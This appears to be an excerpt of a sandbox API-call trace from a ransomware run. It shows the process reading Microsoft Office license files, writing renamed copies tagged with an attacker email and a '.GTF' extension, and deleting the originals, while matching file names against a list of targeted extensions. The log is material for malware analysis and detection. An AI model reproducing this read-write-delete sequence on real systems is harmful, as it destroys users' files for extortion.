	[0168.477] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=10631) returned 1
	[0168.477] CloseHandle (hObject=0x374) returned 1
	[0168.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220
	[0168.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.478] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.478] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0168.478] GetLastError () returned 0x0
	[0168.478] ReadFile (in: hFile=0x374, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2987, lpOverlapped=0x0) returned 1
	[0168.878] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0168.879] ReadFile (in: hFile=0x374, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.879] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x104, lpOverlapped=0x0) returned 1
	[0168.879] SetEndOfFile (hFile=0x504) returned 1
	[0168.880] CloseHandle (hObject=0x504) returned 1
	[0168.880] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.880] SetEndOfFile (hFile=0x374) returned 1
	[0168.883] CloseHandle (hObject=0x374) returned 1
	[0168.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1
	[0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.885] lstrlenW (lpString=".doc") returned 4
	[0168.885] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.885] lstrlenW (lpString=".docx") returned 5
	[0168.885] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.885] lstrlenW (lpString=".pdf") returned 4
	[0168.885] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.885] lstrlenW (lpString=".xls") returned 4
	[0168.885] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.885] lstrlenW (lpString=".xlsx") returned 5
	[0168.885] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.885] lstrlenW (lpString=".ppt") returned 4
	[0168.885] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.885] lstrlenW (lpString=".zip") returned 4
	[0168.885] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.885] lstrlenW (lpString=".rar") returned 4
	[0168.885] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.885] lstrlenW (lpString=".bz2") returned 4
	[0168.885] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.885] lstrlenW (lpString=".7z") returned 3
	[0168.885] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.885] lstrlenW (lpString=".dbf") returned 4
	[0168.885] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.886] lstrlenW (lpString=".1cd") returned 4
	[0168.886] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.886] lstrlenW (lpString=".jpg") returned 4
	[0168.886] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.886] lstrlenW (lpString=".doc") returned 4
	[0168.886] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.886] lstrlenW (lpString=".docx") returned 5
	[0168.886] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.886] lstrlenW (lpString=".pdf") returned 4
	[0168.886] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.886] lstrlenW (lpString=".xls") returned 4
	[0168.886] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.886] lstrlenW (lpString=".xlsx") returned 5
	[0168.886] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.886] lstrlenW (lpString=".ppt") returned 4
	[0168.886] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.886] lstrlenW (lpString=".zip") returned 4
	[0168.886] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.886] lstrlenW (lpString=".rar") returned 4
	[0168.886] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.886] lstrlenW (lpString=".bz2") returned 4
	[0168.886] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.886] lstrlenW (lpString=".7z") returned 3
	[0168.886] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.886] lstrlenW (lpString=".dbf") returned 4
	[0168.886] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.887] lstrlenW (lpString=".1cd") returned 4
	[0168.887] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74
	[0168.887] lstrlenW (lpString=".jpg") returned 4
	[0168.887] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.887] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.887] lstrlenW (lpString="AccessR_Trial-ul-oob.xrm-ms") returned 27
	[0168.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.887] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11591) returned 1
	[0168.888] CloseHandle (hObject=0x374) returned 1
	[0168.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220
	[0168.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.888] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.888] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0168.891] GetLastError () returned 0x0
	[0168.891] ReadFile (in: hFile=0x374, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d47, lpOverlapped=0x0) returned 1
	[0168.892] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0168.893] ReadFile (in: hFile=0x374, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.893] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0168.894] SetEndOfFile (hFile=0x504) returned 1
	[0168.894] CloseHandle (hObject=0x504) returned 1
	[0168.894] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.894] SetEndOfFile (hFile=0x374) returned 1
	[0168.896] CloseHandle (hObject=0x374) returned 1
	[0168.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1
	[0168.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.897] lstrlenW (lpString=".doc") returned 4
	[0168.897] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.897] lstrlenW (lpString=".docx") returned 5
	[0168.897] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.897] lstrlenW (lpString=".pdf") returned 4
	[0168.897] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.898] lstrlenW (lpString=".xls") returned 4
	[0168.898] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.898] lstrlenW (lpString=".xlsx") returned 5
	[0168.898] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.898] lstrlenW (lpString=".ppt") returned 4
	[0168.898] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.898] lstrlenW (lpString=".zip") returned 4
	[0168.898] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.898] lstrlenW (lpString=".rar") returned 4
	[0168.898] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.898] lstrlenW (lpString=".bz2") returned 4
	[0168.898] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.898] lstrlenW (lpString=".7z") returned 3
	[0168.898] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.898] lstrlenW (lpString=".dbf") returned 4
	[0168.898] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.898] lstrlenW (lpString=".1cd") returned 4
	[0168.898] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.898] lstrlenW (lpString=".jpg") returned 4
	[0168.898] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.898] lstrlenW (lpString=".doc") returned 4
	[0168.898] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.898] lstrlenW (lpString=".docx") returned 5
	[0168.898] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.898] lstrlenW (lpString=".pdf") returned 4
	[0168.898] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.899] lstrlenW (lpString=".xls") returned 4
	[0168.899] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.899] lstrlenW (lpString=".xlsx") returned 5
	[0168.899] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.899] lstrlenW (lpString=".ppt") returned 4
	[0168.899] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.899] lstrlenW (lpString=".zip") returned 4
	[0168.899] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.899] lstrlenW (lpString=".rar") returned 4
	[0168.899] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.899] lstrlenW (lpString=".bz2") returned 4
	[0168.899] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.899] lstrlenW (lpString=".7z") returned 3
	[0168.899] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.899] lstrlenW (lpString=".dbf") returned 4
	[0168.899] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.899] lstrlenW (lpString=".1cd") returned 4
	[0168.899] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0168.899] lstrlenW (lpString=".jpg") returned 4
	[0168.899] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.899] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.899] lstrlenW (lpString="AccessVL_KMS_Client-ppd.xrm-ms") returned 30
	[0168.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.900] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=6794) returned 1
	[0168.900] CloseHandle (hObject=0x374) returned 1
	[0168.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220
	[0168.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0168.901] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.901] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0168.901] GetLastError () returned 0x0
	[0168.901] ReadFile (in: hFile=0x374, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1a8a, lpOverlapped=0x0) returned 1
	[0168.903] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0168.904] ReadFile (in: hFile=0x374, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.904] WriteFile (in: hFile=0x504, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x110, lpOverlapped=0x0) returned 1
	[0168.904] SetEndOfFile (hFile=0x504) returned 1
	[0168.904] CloseHandle (hObject=0x504) returned 1
	[0168.904] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.904] SetEndOfFile (hFile=0x374) returned 1
	[0168.908] CloseHandle (hObject=0x374) returned 1
	[0168.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1
	[0168.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.909] lstrlenW (lpString=".doc") returned 4
	[0168.909] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.909] lstrlenW (lpString=".docx") returned 5
	[0168.909] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.909] lstrlenW (lpString=".pdf") returned 4
	[0168.909] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.909] lstrlenW (lpString=".xls") returned 4
	[0168.909] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.909] lstrlenW (lpString=".xlsx") returned 5
	[0168.909] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.909] lstrlenW (lpString=".ppt") returned 4
	[0168.909] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.909] lstrlenW (lpString=".zip") returned 4
	[0168.909] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.909] lstrlenW (lpString=".rar") returned 4
	[0168.909] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.909] lstrlenW (lpString=".bz2") returned 4
	[0168.909] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.909] lstrlenW (lpString=".7z") returned 3
	[0168.910] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.910] lstrlenW (lpString=".dbf") returned 4
	[0168.910] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.910] lstrlenW (lpString=".1cd") returned 4
	[0168.910] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.910] lstrlenW (lpString=".jpg") returned 4
	[0168.910] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.910] lstrlenW (lpString=".doc") returned 4
	[0168.910] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.910] lstrlenW (lpString=".docx") returned 5
	[0168.910] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.910] lstrlenW (lpString=".pdf") returned 4
	[0168.910] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.910] lstrlenW (lpString=".xls") returned 4
	[0168.910] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.910] lstrlenW (lpString=".xlsx") returned 5
	[0168.910] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.910] lstrlenW (lpString=".ppt") returned 4
	[0168.910] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.910] lstrlenW (lpString=".zip") returned 4
	[0168.910] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.910] lstrlenW (lpString=".rar") returned 4
	[0168.910] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.910] lstrlenW (lpString=".bz2") returned 4
	[0168.910] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.911] lstrlenW (lpString=".7z") returned 3
	[0168.911] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.911] lstrlenW (lpString=".dbf") returned 4
	[0168.911] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0168.911] lstrlenW (lpString=".1cd") returned 4
	[0168.911] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
